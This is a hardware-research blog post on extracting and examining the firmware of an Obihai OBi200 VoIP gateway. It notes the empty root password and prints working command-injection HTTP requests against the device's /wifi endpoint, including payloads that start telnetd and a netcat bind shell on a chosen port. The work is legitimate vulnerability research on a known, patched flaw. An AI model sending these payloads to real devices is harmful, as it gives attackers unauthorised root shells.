The OBi200 by Obihai is a VoIP gateway for home/SOHO that integrates with Google Voice. It supports most standard VoIP features out of the box and can integrate with virtually any “bring your own device” SIP service. I purchased one earlier this year to act as a landline in my home (without monthly fees) and it’s worked pretty well so far. But before full installation, I decided to dig deeper into how it worked.

Firmware Analysis

I plugged in the appliance and opened up the web interface. One of the first things I did was check the shipped firmware version:

Above, you can see the OBi200 was shipped with 3.0.1 (Build: 4492). A quick check for the latest version available on Obihai’s website showed 3.1.1 (Build: 5463EX) — obviously, way behind! Though rather than update it immediately, I decided to keep the old version and poke around in case there were any patched vulnerabilities.

Next, I grabbed the firmware from Obi’s website. I couldn’t easily find the source for the exact version shipped with my appliance, but finding 3.0.1 (Build: 4738) was close enough for my purposes. A binwalk scan of the firmware produced the following results:

Note there are several Squashfs images above as well as an ARM uImage file. All seemed promising to explore further, so I extracted them to my local filesystem.

Moving through the filesystem, I was able to learn much more about the underlying implementation of the appliance. Here’s a look at the /etc/passwd file:

root::0:0:root:/root:/bin/sh bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/usr/sbin: sys:*:3:3:sys:/dev: adm:*:4:4:adm:/var/adm: lp:*:5:7:lp:/var/spool/lpd: sync:*:6:8:sync:/bin:/bin/sync shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown halt:*:8:10:halt:/sbin:/sbin/halt mail:*:9:11:mail:/var/spool/mail: news:*:10:12:news:/var/spool/news: uucp:*:11:13:uucp:/var/spool/uucp: operator:*:12:0:operator:/root: games:*:13:100:games:/usr/games: ftp:*:15:14:ftp:/var/ftp: man:*:16:100:man:/var/cache/man: nobody:*:65534:65534:nobody:/home:/bin/sh

As you can see above, there’s no password set for root . The startup script at /etc/rc also had some interesting info:

/bin/swcfg -pw 0 0 0 0x3800 hostname OBi202 #hostname FFxAV mount -t proc proc /proc # Create /var on RAM disk mount -t ramfs none /var mkdir /var/lib mkdir /var/run mkdir /var/log mkdir /var/ppp mkdir /var/tmp cp -p /etc/ppp.ori/* /var/ppp touch /var/tmp/resolv.conf # #mount -t squashfs /dev/mtdblock7 /obi # Making the /etc directory point to MTD4 # mount -t jffs2 /dev/mtdblock4 /etc -o sync # Making the /etc directory point to MTD4 # mount -t jffs2 /dev/mtdblock4 /scratch -o sync # gateway begin mount -t sysfs none /sys mkdir /var/run/ppp -p # needed by pppd mkdir /var/log/ppp -p mkdir /var/lock # needed by wvdial #echo "******** Start udev" mount -n -t tmpfs -o mode=0755 udev /dev cp -a -f /dev0/* /dev # It's all over netlink now if [ -e /proc/sys/kernel/hotplug ]; then echo "" > /proc/sys/kernel/hotplug fi #udevd --daemon #echo "start monitor" #udevadm monitor -e >/dev/.udev.log & #UDEV_MONITOR_PID=$! #echo "start trigger" #udevadm trigger #echo "start settle" #udevadm settle #kill $UDEV_MONITOR_PID mount -t tmpfs none /dev/shm -o size=512K mount -t devpts none /dev/pts #mknod -m 644 /dev/urandom c 1 9 #chown root /dev/urandom echo "******** Start syslogd" touch /var/log/messages syslogd # gateway end # Start network device cd /etc #. ./rc.net & . ./rc.net cd / echo "===> Obi <===" cd /obi #cd /usr/local/obi ./obi &

Note the leftover debugging/development lines commented out above showing a little more about the environment. After the initial setup, the script changes to the /obi/ directory containing all of the vendor binaries and launches the main obi script (and ultimately, the obiapp binary).

Popping Shells

After some quick searching on the above file names, I found a Full Disclosure post from last year disclosing a number of vulnerabilities in Obihai’s OBi1000 IP Phone products. Since the obiapp binary was mentioned in one of the PoCs and there were similar URI structures found in the Obi200, it seemed there was some shared code across both products. I tested the command injection vulnerability on my appliance and confirmed the device rebooted:

GET /wifi?checkssid=$(reboot) HTTP/1.1 Host: OBi202

Next, I tried to start the telnet daemon but, after a few attempts, I found port 23 was specifically blocked by the appliance. I was eventually able to get a root shell running telnetd on another port:

GET /wifi?checkssid=$(telnetd -p 2280 &) HTTP/1.1 Host: OBi202

Additional Injections

I was curious if there were other similar injection points, so I decided to explore a bit more. I disassembled the obiapp binary in IDA and found the decision point for routing the above checkssid request. In close proximity, I found several other requests that were unescaped in similar ways:

And a couple of additional PoCs:

GET /wifi?reconnect=$(telnetd -p 2280 &) HTTP/1.1 Host: OBi202

GET /wifi?conf_cc_adhoc=$(nc${IFS}-l${IFS}-p${IFS}2281${IFS}-e${IFS}/bin/sh) HTTP/1.1 Host: OBi202

Note that the second request above is formatted slightly differently to achieve execution — this was due to the process not decoding spaces before passing them to the system() call.

Preserving Root

It seemed likely the vulns disclosed in the post above were already patched in the latest firmware (I confirmed later they were), but I wanted to maintain root after upgrading to continue research. I decided getting console access would be my best bet, so I grepped dmesg for mentions of a serial interface:

Note the serial interface listening on /dev/ttyS0 above — now, it was just a matter of finding the debug port on the board.

In part 2 of this post, I’ll focus on identifying and connecting to the board’s UART pins in order to get console access to the appliance.

Share this: